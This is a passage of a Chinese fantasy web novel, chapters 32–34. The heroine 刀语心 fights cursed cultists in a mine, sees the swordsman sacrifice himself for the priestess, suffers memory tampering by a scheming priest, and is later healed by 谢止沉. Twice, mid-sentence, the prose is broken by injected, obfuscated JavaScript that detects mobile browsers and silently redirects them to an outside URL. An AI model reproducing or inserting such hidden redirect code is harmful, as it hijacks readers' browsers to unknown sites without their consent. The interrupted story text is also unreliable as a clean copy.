准备逃离的洞口被攻击炸塌,而后路,已经被人截断。 刀语心警惕地持剑看着站在自己面前的一男一女,两人的额头上都有和祭司一样的四角星,只是不过他们是黑色的,此刻还在不断泛着亮光。 二人攻击欲望并不强烈,甚至还有心思闲聊。 “还真有人,祭司那女人到底是给多少人下了印记。” 32. 第 32 章 闻言,刀语心注意到自己身上斗篷的一角,一个黑色四角星在发着黯淡的光芒。 她将其扯下撕碎,刀语心意识到这是祭司用祝福带来的灾祸,她的感觉没错,祭司绝不会是什么善类。 面前两人职业分别是牧师和剑士,等级都在三十级左右。 少女牧师拿着比自己身高还高的法杖,对刀语心开口:“我们呢,也不是什么恶人,只要你愿意乖乖晕倒在这里,我们不会对你怎么样的。” “刚才那些攻击可不像什么善人。”每一击都想要她的命。 “这不是误会嘛,我看你长得漂亮又是个锻造师,突然大发慈悲不想杀你。” 牧师这句话哪个字都不假,但合在一起就是让刀语心觉得不对,因情况危急而剧烈跳动的心脏尚未平息,刀语心不会因牧师的一面之词放下防备。 “别说了,越抹越黑,她不会相信我们的,直接上吧。”剑士抡起自己的剑,摆出攻击架势。 “好吧。”牧师脸上露出无可奈何的神色,“那可就别怪我不留情面了。” 刀语心有些不解她的说辞,但也同样举起手中的剑。 战斗一触即发,平静的场面彻底击碎。 剑士率先朝刀语心发起攻击,虽然他拿着一把巨剑,但动作并没有丝毫拖泥带水,刀语心抵挡攻击后整条手臂被震得发麻。 在这期间,牧师的吟唱结束,为剑士施加上赐福后,让他的身形更是难以捉摸。 即便加上异化之力的辅佐,刀语心也只能且战且退。 结束赐福后,牧师还一直在用远程攻击干扰,判断她逃离的落点,太过棘手,刀语心想要先解决牧师,但在剑士的猛烈攻击下,刀语心无法靠近牧师分毫。 这样下去不是办法,他们配合天衣无缝,再加上职业壁垒的制约,你来我往下去她没有任何胜算。 随着释放力量刀语心能清晰感受到,异化之力的储备在逐步减少,在一切耗尽之前,必须分出胜负。 但对方并不打算速战速决。 比起剑士的招招致命,牧师的攻击就显得有些力不从心。 又一道法术射线被刀语心侧身躲过后,剑士甚至收手,转身略微无奈地看向身后的牧师。 “看什么看!我一个牧师不小心打歪了不是很正常吗?” 绝对不可能是她在有意放水。 “好好好,没问题。”剑士语调拉长,没有过多责怪,他只是重新握紧自己手中的剑,既然如此那就由他当这个恶人。 抓住他们闲聊的空隙,刀语心朝另一个洞口逃去。 “不能让她跑了。” “知道啦。” 说着牧师将法杖对准刀语心的方向,一道法术射线快速凝聚击出,准确无误的将洞口打塌。 还真是难缠的对手。 这下也让刀语心彻底明白,他们不想杀死她,而是打算拖垮她,意识海的平面在不断下降,异化之力的储备即将见底。 “她的力量应该是有限的,再拖一会就要耗尽了。” 这样当着她的面大声密谋真的好吗? “喂,放弃抵抗吧,这样我们彼此还能省些力气。” 从一开始,他们就没什么特别针对刀语心的阴谋,自始至终的诉求都是让刀语心失去行动能力,不去阻碍他们找到那件想要东西。 为什么他们对自己如此手下留情?又是因为她的锻造师身份? 雇佣兵是因为要将自己完好无损的用于交换利益,他们又是为了什么不打算伤害自己? 占星会…… 她在他们的占卜中,究竟扮演怎样的角色? 刀语心不会等待答案找上自己。 附着初始态异化之力的左手触碰她身旁的魔矿,被附着侵蚀的魔矿像是被消融在她手中一般,刀语心发现自己的力量的确随着魔矿的消失而增加些许。 她的天赋异噬生效了,能让她通过吞噬魔矿来增加力量。 但脉络中承载的力量是有限度的,刀语心不是机器,需要时间去消化刚吸收的东西。 不过既然有了力量来源,那么她也不必再留手。 见刀语心没继续攻击或者逃窜的打算,其他两人也一时之间没有动手。 “这样不就好啦,我们也不用动手……” 还在说着话的牧师突然被剑士拦腰抱走,在被责怪之前剑士开口: “小心那些黑水。” 不知从何时开始,以刀语心为原点,异化之力不断向外释放,原本崎岖的魔矿表面都被一层难以察觉的黑色液体覆盖。 “喂喂,你怎么搞偷袭啊!”牧师对刀语心谴责道。 本就毫无光亮的矿洞中,很难察觉到异化之力的攻击,这对牧师两人而言十分危险。 “礼尚往来。” “还真是记仇啊。” 说完,牧师开始吟唱,法阵顶端亮起一团灼眼的光芒照亮了整个矿洞。 突如其来的明亮太过刺眼让刀语心无法适应,剑士则是抓住这个机会朝刀语心攻去,牧师也将法杖对准刀语心释放射线。 在那束灿烈至极的光束和冰冷剑刃的夹击下,失去视线的刀语心进退两难。 只见她整个人化作液体滴落在水面之中。 战士朝着刀语心的攻击落下,却发现她人影已经消失了。 她逃走了? “在我这里!”化作液体状态的异化之力不知不觉间蔓延到牧师的脚边。 在牧师求救的间隙,灭灵剑与魔杖发出利器相锉的嗡鸣声。 同一时刻剑士挥出剑气朝着刀语心攻去,再和牧师纠缠下去就会被迫承接攻击。 见自己挟制牧师目的无法达到,刀语心将灭灵剑对准牧师魔杖的脆弱关节砍去,打算直接将其砍断来削减威胁。 “这是我攒了很久才买的魔杖不要折断它求你了!”牧师语速飞快地求饶。 听到这话的刀语心生生将自己的攻击转移,打偏在一旁的魔矿之上,她后撤躲过剑气,牧师也趁机逃回剑士身后。 一时之间,双方陷入了某种僵持。 这样下去没完没了,刀语心停下攻击,两人见状也不再出手。 “我们谈谈。” “一开始这样不就好了。”牧师松了一口气。 但忽然,刀语心看见两人额间的黑星闪烁着不同寻常的光芒。 二人随即陷入一种痛苦之中,剑士还能撑着自己的剑,而牧师已经拿不稳手中的法杖,跌落在她的脚边。 像是有人在操控着他们。 ‘杀死她,不然,你们就去死’他们的脑海中回荡着相同的声音。 “该死的祭司!最应该去死的人明明是她!” 牧师抱着自己的头,痛苦地跪坐在地上叫喊。 见到这一场面,刀语心明白他们也是被迫的,在场的三人有着一种相似的命运,都被各种各样的因素推动着,被迫走在一条身不由己的道路上。 明明他们之间毫无敌意,却还要被迫彼此攻击,没人想让对方真正死去。 不想趁人之危的刀语心将手中的剑收起,不打算再争斗下去,她知道自己的敌人不该是他们。 看着刀语心的动作,剑士突然开口: “我们没有第二种选择,但或许你拥有。” 说完,他回头看着和他承受同样苦痛的牧师,刀语心看不懂他眼中的神情,只觉得像自己曾在书中看到的词语,一眼万年。 “天启者说,你是最关键的种子,但祭司偏偏不愿相信,她不仅想让我们夺走属于你的东西,还想杀死你。” 他说着,但视线未曾从牧师身上移开。 听到这些话的牧师倏然抬眼,眼眸中满是惶恐。 “你不该和她说这些,你会死的!”被祭司操控的他们同样受到制约。 “即便不说,我也会死的。” 剑士轻叹一声,随后口中默念一串刀语心听不懂的咒语,身上冒出无数不祥的血红色光芒,像是要将整个人四分五裂一般。 “我只有一个请求,请你带她离开。” “我没问题。”但牧师真的会愿意抛下剑士离开吗?刀语心并不确定。 “喂!你要干什么!快停下来!” 见到剑士这副模样,惊惧之间,牧师顾不上自己快要疼炸的脑袋,朝着剑士赶去。 他只是将牧师拢在怀里,将那不祥又诡异的黑色星星从她身上夺走。 “放开我!你到底在干什么!”牧师挣扎着要离开,但剑士的怀抱纹丝不动。 “我在一本古书上看到这样能够转移咒印的血祭仪式,虽然很有可能是祭司故意用来骗我的,但我想试一试。” “我想让你活下去,这是我自私的愿望。” “可是……可是……我也想让你活下来啊,我想和你一起活下来,祭司她明明答应我了,只要我们把魔芯带回去,她就会将我们的咒印抹消。” “她是不是又骗了我。” 剑士没有多言,只是在生命的最后关头,拥抱着牧师。 “对不起。”他说。 他的愿望有些自私,将她自己孤身一人留在这个可怖的世界之中,但他希望她能够看到每一天的太阳升起,往后不再受到祭司的威胁。 “不,不……” 牧师停止了挣扎,她的声音中充满被残酷现实击溃的悲怆。 “你要在地狱里等着我。” 剑士眼神微怔,但看向牧师的眼眸最终只剩下温柔。 他回应道:“好,我会等你。” 不祥的红光逐渐熄灭,剑士的生命力也彻底从牧师的掌心消散,她久久无法回神,但最终她握紧手中的十字架,为他祷告。 她祝愿他下一世平安顺遂。 不过如果这个世界还是如此的不堪,那似乎也没有必要再来一次了。 但牧师也希望,她能在一个更好的世界中再次遇到他。 一旁默默无言的刀语心看着两人周围冒着点点光亮,在这幽黑的矿洞中即便是微光也无比夺目。 片刻后,祷告结束,眼神失去光彩的牧师开口打破寂静: “占星会有一则预言,大概意思是一枚诞生于海域中的种子会在这个世界生根发芽,最终比肩原初之树突破高天。” 她转头,对上刀语心漆黑的视线。 “我不知道海域还有原初之树是何物,但我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“你竟然为了她和我作对?” 祭司语气中充斥着不可置信,自认为给予刀语心恩赐的她没有料到,刀语心对自己竟然没有丝毫感激之情。 刀语心没想搭理祭司,一把抓起在地上重伤的牧师就朝着洞穴深处离开。 “到处窜逃的老鼠还真是讨厌。” 眼盲的祭司在崎岖魔矿上却如履平地,她冷笑着跟上刀语心二人离开的方向。 身上多了一个人的重量让逃离的过程多了些许困难,但刀语心记得自己答应过剑士,她会带走牧师。 “很痛诶。” 牧师责怪着刀语心动作迅猛扯到她的伤口,听到这话的刀语心没有多说,只是放慢速度。 察觉到刀语心举动的牧师只是微微一怔。 比起朝夕相处的祭司,她现在对见面没多久的刀语心更加信赖,或许这就是命定之人带来的安全感吧。 只可惜救世主能够拯救世界,但拯救不了她。 “我活不了多久了,你不如就让我死在他旁边呢,这样我去地狱还有个伴。” “我已经把他尸体收起来了。”刀语心觉得祭司是那种会拿尸体泄愤的人。 “那真是太感谢你了。” “我记得牧师会治愈法术,你快点治疗自己。”刀语心能够感受到温热的血液源源不断地流过自己的手心,她忙着带牧师逃命,没空处理伤口。 “我要有信仰的对象才能发挥出力量,但现在我很讨厌他们。” 牧师奄奄一息地说着。 “她要追上来了,我逃不掉的,如果可以的话我想拜托你帮我们火葬,骨灰随便撒哪里都可以,除了水里,他不会游泳……” 她像是要昏睡过去一般,声音越来越小。 二人之间的沉默没有持续太久,很快牧师又重新开始低声吟唱。 正当刀语心疑惑牧师不是说自己没有信仰使用不了力量时,紧接着她发现自己手腕下方亮起了一个印记。 “放心,这不是什么恶毒的咒印。” 看着刀语心面上有些错愕的神情,牧师笑着解释,只是那笑容看上去太过破碎。 “把你刚才得知的记忆全部储存在里面,按照我对那个蛇蝎女人的了解,她一定会对你的记忆动手脚。” “还有,这洞穴深处有一件宝物,你要拿到它,不要让它落入祭司手里。” 说完这几句后,还没等刀语心反应过来,牧师就挣脱离开,她拿起法杖燃烧自己残存的生命,嘶声吟唱着最后的咒语朝身后攻去。 被打碎的无数魔矿飞出无数尘晶。 这一切对那位祭司来说,似乎并不能构成威胁,但牧师为刀语心争取了足够的时间。 她选择听从牧师最后的遗言,将自己的记忆存储。 还未等攻击造成的烟雾散去,刀语心就听见那夹杂着恶意的嘲笑声传来: “多少年过去了,她的技艺毫无长进,没想到最后回光返照还进步了些。” “这都是多亏了你啊——” 33. 第 33 章 相比之前在人前将自己伪装得善良大度,此刻的祭司毫无顾虑的露出内在本质。 她脸上的笑容从不是什么慈悲者的宽恕,而是一种极为恶劣的捉弄。 只见祭司朝刀语心走来,顺手将拦路的牧师甩到一边,刀语心几步上前将牧师接住,将她的尸身和剑士一起暂时安置在储物空间中。 “啧啧啧,还真是心地善良呢,难怪她这么喜欢你。” 听起来是夸赞,但刀语心总觉得祭司有种恨不得将自己撕碎的感觉。 面对扑面而来的恶意,刀语心不打算忍让和退却,虽然不清楚祭司口中的她究竟指谁,但这并不妨碍刀语心反击。 “也没什么正常人会喜欢像你这么歹毒的人。” “呵,我也不需要你的喜欢。” 被戳到痛处,祭司原本还算平和的面目转瞬就扭曲起来,一道法术在她手心具现,她抬手,攻击瞬间就朝刀语心甩去。 一直注视着祭司的刀语心反应及时侧身躲过,但还是被极快的法术擦伤。 这攻击太快了,完全和牧师的法术不是一个层次,她得先离开。 此刻二人位于矿洞狭窄逼仄的通道之间,刀语心并没有过多的空间可以躲闪,她只能先一步向后逃离,流光也重新从手腕上显出给予刀语心指引。 她果断跟上流光,头也不回地离开。 “随便选的方向都是正确的,我还真是嫉妒你啊。” 看着刀语心远去,妒火中烧的祭司手中浮现出被荆棘缠绕的圆环,但在犹豫片刻后她还是将其收起,咬牙切齿地跟上刀语心离开的方向。 祭司在刀语心身后穷追不舍。 期间刀语心试过将通道堵死,但祭司依然不受任何影响紧随其后,或许她现在不是真正的躯干到了这里,而是像当时的主教一样,是一个分身,或是灵魂来到此处。 这些令人作呕的家伙还真是出乎意料的相似。 在战斗空隙中,刀语心洞察出祭司已经到了四十级,即便冒着风险也不一定能彻底将她杀死,再说祭司这来去无踪的模样,刀语心怀疑她有其他可以逃生的手段。 但这不代表刀语心就会放弃挣扎,向祭司求饶让自己苟活。 她脑海中止不住地浮现着牧师二人的身影,他们不久前还鲜活地站在自己面前,无论是否敌对,不可否认他们都曾用尽全力活在这个世界上。 那些复杂的情绪不断在心中翻涌,刀语心无法一一辨别,但她已经作出决断: 无论如何,她绝不会让祭司得到魔芯。 不断逃离和追赶的过程中,刀语心觉得她似乎成为猫捉老鼠中的老鼠,祭司若有若无的距离拉扯让她心生烦闷,在刀语心又一次将来时洞口堵住后,一道声音在黑暗中响起。 “喂喂!看这里!” 顺着声音传来的方向看去,刀语心发现一个有些熟悉的小巧身影。 “你怎么在这里。”是之前被刀语心抓捕过的寻矿蜥,一段时间不见它竟然可以口吐人言,应该是升级了。 “我闻到一股奇异的味道,挖着挖着就到了这里,但是我迷路了。” 来不及多说,刀语心一把捞起小蜥蜴就走。 “后面有人在追我,之后我带你离开。” “好,那你快跑吧。” 小蜥蜴爬上了刀语心的肩头,它有些好奇地向后看去,恰好这时一袭白色长袍的祭司出现在不远处的洞口。 它豆大的心脏震颤。 “快跑啊!她冲过来了,这是人吗?怎么和故事里的鬼一样好可怕啊!” “害怕就别往后看。”比起小蜥蜴的慌乱,刀语心语调波澜不惊。 听到一人一兽对话的祭司只是更加火冒三丈: “该死的小东西,说谁像鬼呢。” “说你啊。”小蜥蜴如实作答。 这里除它之外就两个人,除开美丽可靠又愿意带它离开的姐姐,就只剩下身后不停追赶的鬼了。 一道比之前可怕数倍的攻击落在刀语心身后,如果再慢一步她就会湮灭其中,祭司用攻击表达出自己极为不满。 “管好你小宠物的嘴巴。”她语调阴森。 “是你问了我才回答的!我说的明明是事实啊你能不能心胸大度一点!” 小蜥蜴被吓得眼泪汪汪,但嘴一直没停。 一来一回间刀语心也见识到祭司实力的可怖,她觉得祭司完全可以直接追上自己,为什么还要一直跟在身后? 看来杀死自己只是她的次要目标,祭司主要还是想抢夺牧师口中的那件宝物,魔芯。 所以是需要她在场?或者需要她引路? 还是说,祭司想要当着她的面抢走命中注定属于她的东西? 流光指引着刀语心来到最终的目的地,而身后一直追逐的祭司也终于在最后时刻提速,并朝着刀语心攻去。 为了避开攻击,刀语心只能向侧面翻滚逃离,借此祭司得以越过刀语心先一步进入。 让小蜥蜴躲在不会被战斗波及的地方后,刀语心提着剑走进其中,只见空旷洞穴的最中心,一个不规则的渐变魔矿悬浮在中央,散发着淡淡光亮。 “看啊,这是魔芯,一切异象的源头,多漂亮啊。” 祭司此刻站在距离魔芯更近的地方,她抬手想要触碰却被围绕魔芯的能量场排斥。 “啧,连碰一下都不行。” 祭司揉着自己的手腕,语调中带着嘲弄和嫉妒:“我这样的普通人呐,想要拿走宝物还得搭上自己的命,你就不同啦,想要什么,就可以得到什么。” 闻言,刀语心目光冷寂地扫向祭司。 “那我要你的命,你会给我吗?” “这当然是不行的。”祭司露出无比和善的笑意,漫步绕过魔芯面对朝自己走来的刀语心。 “我的命,你得自己来拿。” 战斗一触即发。 黑暗的矿洞被铺天盖地的法术点亮。 毫不夸张地说,祭司是刀语心迄今为止遇到过最棘手的敌人。 祭司不使用任何武器,纯粹的法力从她手中具现而出,变成一道道致命攻击,绚烂夺目的法术不断朝着刀语心的方向射去,而无尽的杀意也伴随其中。 她没有从魔芯旁边离开一步,但释放出的法术源源不断阻碍着刀语心前进,甚至逼迫着刀语心不断退后。 在攻击刀语心的期间,祭司也在不断尝试破开魔芯周围的能量场。 一直躲闪的刀语心看着这一切在心中计划:她和祭司各方面能力差距过大,只有出其不意,才能一转攻势。 异化之力凝成的黑水在悄无声息间没过祭司脚踝,无数尖刺向祭司的位置戳去,只不过祭司没有受到任何实质性伤害。 祭司身形不似躯壳,而是一种可被随意塑造的形态,恰到好处地避开了刀语心所有攻击。 来到这里的不是祭司的躯体,而是灵魂。 “雕虫小技,你就只会这些不入流的手段?还真是让我失望……” 话语还没完全落下,刀语心的剑光就划破祭司的视野。 灭灵剑上注入了异化之力,以伤口为原点,黑色力量在祭司白色长袍上不断蔓延蚕食着她。 “……算我小看你了,你还真是意料之中的讨厌。” 耳边传来祭司咬牙切齿的声音。 她手中动作没有停下,无数法术线条勾勒出复杂精巧的术法,磅礴力量带来的威胁感迫使刀语心远离。 对此刀语心有些疑虑。 先前数量如此之多的法术释放之后祭司竟然还有余力构建这样的术法,她的法力值是完全不会枯竭吗? 从祭司身边撤离后,刀语心用目镜洞悉祭司的法力,法力条的长度让她心中警铃大作,在如此大规模的释放法术达到压倒性的优势后,祭司的法力条还有足足三分之二。 她不能再拖下去。 感受到刀语心对自己的洞察后,祭司只是勾起嘴角,恶劣地发出嘲弄: “你以为,拥有本源之力的人只有你吗?” 对于祭司的嘲讽刀语心置若罔闻,只是她不自主地开始联想:既然如此,那么种子是否也不止自己一枚? 没来得及过多思考,刀语心握着手中的剑,再次劈开朝自己袭来的法术攻击。 从染上异化之力的那一刻开始,祭司在矿洞中存在的时间就已经迈入了倒计时,如果她不选择回归躯体治愈伤势,灵魂绝对会被异化之力蚕食殆尽。 在最后这段时间,刀语心需要做的就是阻止祭司拿到魔芯。 只不过,祭司也很清楚刀语心的打算。 “想阻止我?”祭司轻飘飘地反问,“那你得掂量掂量自己做不做得到。”说着,她手中破解能量场的法术再次加强。 魔芯周围的波动不断加快,能量场撑不了太久。 先前刀语心距离极快拉近就让祭司明白,刀语心能够通过异化之力进行短距离瞬移,对此祭司已经有所提防,只要刀语心再用相同的手段来到她的身边,刀语心会被藏起来的法术悬丝割成碎片。 在又一道法术即将落在刀语心身上时,她如祭司预料的一般,整个人消失在漆黑潮水之中。 那么接下来—— 祭司脸上不受控制地挂起微笑,她似乎已经预见到刀语心四分五裂的未来。 有什么东西撞上了悬丝,但不止一处。 祭司猛然意识到不对,凝出法术屏障抵挡,但屏障只能对准一个方向,而此刻无数炸弹都来到她的身旁。 在被切割之前,炸弹就已经爆炸。 比起法术的流光溢彩,炸弹的爆炸就有那么一点普普通通,只不过无数碎片穿过灵魂的感受却与之相反。 冲击之下祭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15522132|166192||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 司被炸离原地,还没等她缓过这一阵剧痛,祭司猛然抬眼,看向刀语心所在的方向。 她失算了。 祭司向来精于算计和操控,但面对刀语心时一切的计谋似乎都失去了作用。 攻守之势转换,此刻是刀语心站在离魔芯最近的地方,那双无尽冰冷的眼俯视着祭司。 “你不是很喜欢让别人拥有希望又陷入绝望的感觉吗?” “现在,你感觉如何?” 刀语心从不认为自己是好人,也不觉得自己是什么坏人,比起那些非黑即白的标签,她更喜欢以眼还眼以牙还牙。 站在祭司不远处,刀语心触发自己的异噬天赋,直接用异化之力突破能量场将魔芯包裹吞噬。 随即,她感受到汹涌澎湃的晶石在意识海底部泛滥。 祭司面目狰狞地感受着魔芯的存在一点一点从她感知中消失,对此她毫无办法,身体还在不断被异化之力侵蚀,她必须离开。 但祭司怎么可能愿意? “我承认,我输了,是你技高一筹。”祭司面色阴沉地说着,但脚步却不停,朝刀语心一步步走来。 心中泛起一股强烈的不安感,刀语心顿感不妙,她看着祭司抬手,一个幽紫色的圆环出现在祭司手心。 “你猜猜看,这是什么?” 说完的瞬间,祭司将其捏碎,同一时刻,刀语心感受到自己胸腔在猛然震动,躺在储物空间一角的星型装置也悄然碎裂。 祭司催动刀语心身上的诅咒,但她要做的还远不止于此。 星型装置通过阻隔神经来消除痛感,身为给予刀语心此物的祭司,自然可以在里面做些手脚,虽然刀语心感受不到痛,但也无法在诅咒发作时间内掌控自己的躯体。 感受到危险的刀语心想要离开,但身体不听使唤。 她看着祭司朝自己走来,白色长袍已经被异化之力沾染黑色的裂痕,也给祭司更添诡谲色彩。 “我可太想把你碎尸万段,但对你而言,活着才是更好的惩罚。” 两人距离越来越近,独属于祭司的视线范围内幽紫色的可怖纹路死死缠绕着刀语心,看着不断翻涌蔓延的诅咒,祭司心中才有了几分快意。 刀语心操控异化之力将自己四肢缠起,想要将自己转移,同时努力唤醒神经想要夺回身体的控制权,水液顺着她的躯体而上,已经没过刀语心大半。 不过在即将离开的前夕,刀语心却刻意放慢速度。 祭司拖着重伤的灵魂几步上前,死死地锢住刀语心的肩,迫使她转向自己,右手附着一股诡异力量覆盖上刀语心的面容,那力量顺着眼眶侵入刀语心的灵魂,不断篡改扭曲着她的记忆。 “你知道了太多你不该知道的事。” 清醒状态下被迫篡改记忆,刀语心只觉得自己的脑子像是在被祭司非常用力地搅拌,整个脑袋疼得像是要炸开。 刀语心甚至无力去听清祭司口中的话语。 “她说你会成为跨越高天的凌云之木,我偏偏要把你扯进污泥之中,凭什么你就能高高在上获得她的垂青?” 似是察觉到自己的失态,祭司深吸一口气,维持自己虚假的平和。 “等到下次见面,我依然是那个心地善良的祭司,你也不会记得今天发生过的一切。” 想到这里,祭司脸上浮现出恶劣的嘲弄。 “我很期待,到那时我们的见面究竟会是什么样的?” 在离开之前,祭司用最后的力量轰击洞穴的顶端,没有魔芯加持的矿洞十分脆弱,开始溃败崩塌。 “不过在下次见面之前,你就在这暗无天日的地方多苟活几日吧。” “祝你平安。”她歪着脑袋说着。 话落,最后看一眼还在苦苦挣扎的刀语心,祭司终于满意地离去。 先前牧师在刀语心手腕上留下的咒印也在祭司离开后化作一点光芒涌入刀语心的脑海之中,错乱的记忆必须快速纠正,但同时给刀语心加重了负担。 此刻刀语心内在精神的无比混乱,无数记忆的虚影不断错乱着在她脑海中回放。 她听见有声音在急切地呼唤自己。 “快醒醒!洞要塌了!等到稳定之后我们一起出去,你千万不要被压死啊。” 察觉祭司气息消失的小蜥蜴赶到刀语心身边,看到的就是被诅咒覆盖全身的刀语心。 对未知事物会感到莫名的恐惧,但即便如此,它从未打算离开。 好吵。 不过周围轰隆隆的声音,以及不断震荡的地面的确让刀语心感到危险。 她本能地驱使异化之力在一切坍塌之前,将自己和小蜥蜴笼罩其中,虽然还是会被深埋在地底,但至少可以保证她能够不会被乱石砸伤。 一片混乱之际,又觉察到一股陌生气息的小蜥蜴猛然回头。 有人来了。 34. 第 34 章 “你是谁!不要过来!不准伤害她!”小蜥蜴挡在刀语心的身前。 异化之力的屏障侵蚀了来人,但对方就像完全感觉不到痛一样强行闯入,他突破阻隔握起刀语心的手,支撑她摇摇欲坠的身体。 是谢止沉。 不久前刀语心手腕上的流光在不断向外蔓延,并连接上一道赤红,这才让谢止沉迟迟赶到。 二人对上视线,还没等刀语心说什么,谢止沉就先开口:“我先带你离开。” 那些正确的虚假的,分不清楚的记忆让刀语心脑子一片混沌,但她还是勉强能够认出谢止沉,她捞起小蜥蜴,任凭谢止沉带走自己。 处于混乱之中的刀语心没来得及撤走异化之力,但谢止沉也顾不上自己被异化之力不断侵蚀的伤势。 赤色红光带着刀语心离开地下洞穴来到一处较为安全的岩洞之中。 但刀语心的状况显而易见的差。 异化之力的反噬,残影的蛊惑,祭司的篡改…… 她的记忆可以说是千疮百孔。 虽然最后因为牧师留下的咒印逆转了结果,但对刀语心造成的伤害并不会随之消解,再加上从前遗留的创伤,让刀语心此刻的情况变得无比复杂。 如果说正常人的记忆是一带胶卷,所有的一切都是有序展开,那刀语心的记忆就是杂乱的一团毛线,混沌又无序。 刀语心知晓自己被篡改记忆这一事实,但短时间内她无法将那些被篡改的记忆删去,也无法彻底分辨真假。 这很难做到。 而那些被刻意忽略的痛楚总会被无数次想起,又无数次穿刺自己。 她现在虽然没有昏迷过去,但依然像活在永无止境的梦魇之中。 “除了诅咒,你是不是还受了其他的伤?”刀语心身上并没有什么明显的伤口,但整个人处于外人看不到也摸不着的痛苦之中,不仅仅是诅咒发作的原因。 唯一的可能就是这痛苦来自她自身。 “有人篡改了她的记忆。” 没等刀语心从记忆中抽离回答,目睹全过程的小蜥蜴先一步出声给谢止沉解释道。 从刚才开始它一直警惕地看着这个突然出现的人,担心他会对刀语心不利,不过见他如此关心刀语心,小蜥蜴也不再敌视对方。 闻言谢止沉心中再度涌起无限的自责,他自知自己没有保护好刀语心。 “还好,没什么大问题……至少我不会再用剑指着你。”她笑着说道。 听到刀语心的玩笑谢止沉不觉得轻松,只觉得懊恼与自责又多了几分,他想要帮上刀语心,“我帮你梳理记忆吧,如果你相信我的话。” 当局者迷旁观者清,身为局外人的谢止沉可以将那些杂乱无章的记忆抹去。 这不失为一种方法,但前提是,刀语心必须信任他。 信任是一种非常虚无缥缈的东西。看不见摸不着,满是谎言的人可能会说一句真话,忠心耿耿的人可能会说一句假话。 而失败的概率谁也承担不起。 就事实来看,刀语心对谢止沉了解得很少,但相识已久的人不也给了她最痛的一刀吗? 好在刀语心不是一个犹豫不决的人,她很快就做出了决定。 “没问题,我相信你。” 一如既往,她会为自己的选择负责,即便那是死亡。或许在某些不为人知的时刻,她也曾期待过。 或是死亡或是一个值得她信任的人。 在开始之前,谢止沉给周围布下了重重防线,并拜托小蜥蜴:“如果又有什么危险,麻烦你及时叫醒我,不要打扰她。” 梳理记忆需要专注双方都不能被打搅,谢止沉自己承担危险没问题只是刀语心不能再受到更多的伤害。 “没问题!”小蜥蜴保证着,它在岩洞外不远处徘徊着为二人放哨。 因法术沉睡过去的刀语心枕在谢止沉的腿上,他掌心中的线条没入刀语心的额头之中,他触及着存储在刀语心脑海中的记忆。 很快他就发现,刀语心的记忆并不是最近才开始出问题的。 灾祸的根源从许久之前就已经种下。 无数片段从谢止沉眼前闪过,他看着年幼的少女从黑夜中无数次惊醒,渐渐地,她习惯了黑夜,也习惯了那些梦魇。 但谢止沉通过记忆无比清晰地感受到,她是讨厌的,她厌恶着一切。 心底无数杂糅的情感冒出,他想做些什么,可他如今只是看客,是无能为力的旁观者。 在未来看到这段记忆的他,对过往经受这一切的刀语心毫无帮助。 他只能按下那些情绪,帮刀语心的记忆梳理完成,将那些痛苦一点点归于原位。 刀语心睡了一觉,少见的,她没有做噩梦。 “你醒啦。”一直盯着刀语心的小蜥蜴最先发现刀语心清醒过来。 “嗯。”她抬手摸摸守在自己身旁的小蜥蜴。 闻声几步走来的谢止沉问道:“好些了吗?” “没事了,谢谢你。”如果不是谢止沉,刀语心确信自己还要被这些记忆折磨许久。 “不必言谢,你没事就好。” 见刀语心真的平安无事,小蜥蜴也放下心来,在离开之前,它询问刀语心:“姐姐,你们人族有什么厉害的锻造师吗?” 听到这个问题的刀语心一顿,然后伸出手指了指自己,“我就是。” “真的吗!那太好啦!”小蜥蜴语调无比兴奋,“族长爷爷和我爹娘他们一直都在寻找锻造师,我可以拜托你帮我们锻造一件东西吗?” “当然,不过你知道要锻造什么吗?”刀语心半蹲着和它对话。 “我不知道。”小蜥蜴摇摇脑袋,“不过等我回去把这个消息告诉它们,它们一定会告诉我的。” 不过他们之间怎么联系成了一个问题。 “没事的!到时候我可以和我大姐一起去找你。”听到这话,刀语心自动理解成小蜥蜴的姐姐会变作人形。 “好,你回家路上注意安全。”等刀语心说完后,小蜥蜴抬起爪子和刀语心告别后就离开岩洞。 先前刀语心沉睡时出于安全考量,谢止沉还将刀语心的身体状况检查了一遍,他将自己这一行为告诉刀语心。 “有个好消息和坏消息。” “那先说坏消息吧。” “你自诞生起就拥有的天赋被封印了,原因是被人转嫁到了他人身上,你的异化之力缺失力量来源,也是因为被人夺走。” 难怪职业树的枝桠会石化。 造成这一切的元凶,刀语心有怀疑对象,主教的姐姐,那个将自己带回救世会的吴阿婆,不过这人已经死去了很久。 “好消息是,魔芯可以成为异化之力新的源泉。” 异噬天赋将魔芯融入刀语心的意识空间,便可以源源不断地产生魔矿。 “那枚从遗迹地下密室获得的黑色珠子是转换器,作为吸收力量的媒介。” 在吞噬魔芯的同一时刻,黯珠遁入刀语心的意识空间中,将魔矿吸收,转化为可操控的异化之力,填充空荡的意识海。 听着谢止沉的讲解,刀语心不由得冒出一个疑问:如果她身为完整的种子,是否就不需要这样的转换器,那么转换器应该就是专门用于填补缺失。 所以—— “种子究竟是指什么?” 对于这个问题,谢止沉思索片刻后给出自己的答案。 “你可以理解为,种子是生命胚胎。” 只是种子的诞生并不像正常生命延续那样,种子自海域中诞生,而后成长为不同个体。与其他生命最明显的特征就是,种子可以使用本源之力以及本源之力的变种。 “种子诞生是人为,还是自然选择?” “一开始,是自然诞生的。” 但后来,碍于各式各样的利益纠葛,渐渐演变为人为,也有一些生灵觊觎本源之力,所以有转换器这样填补缺失和抢夺种子力量的存在。 “我是哪一种?后者?” 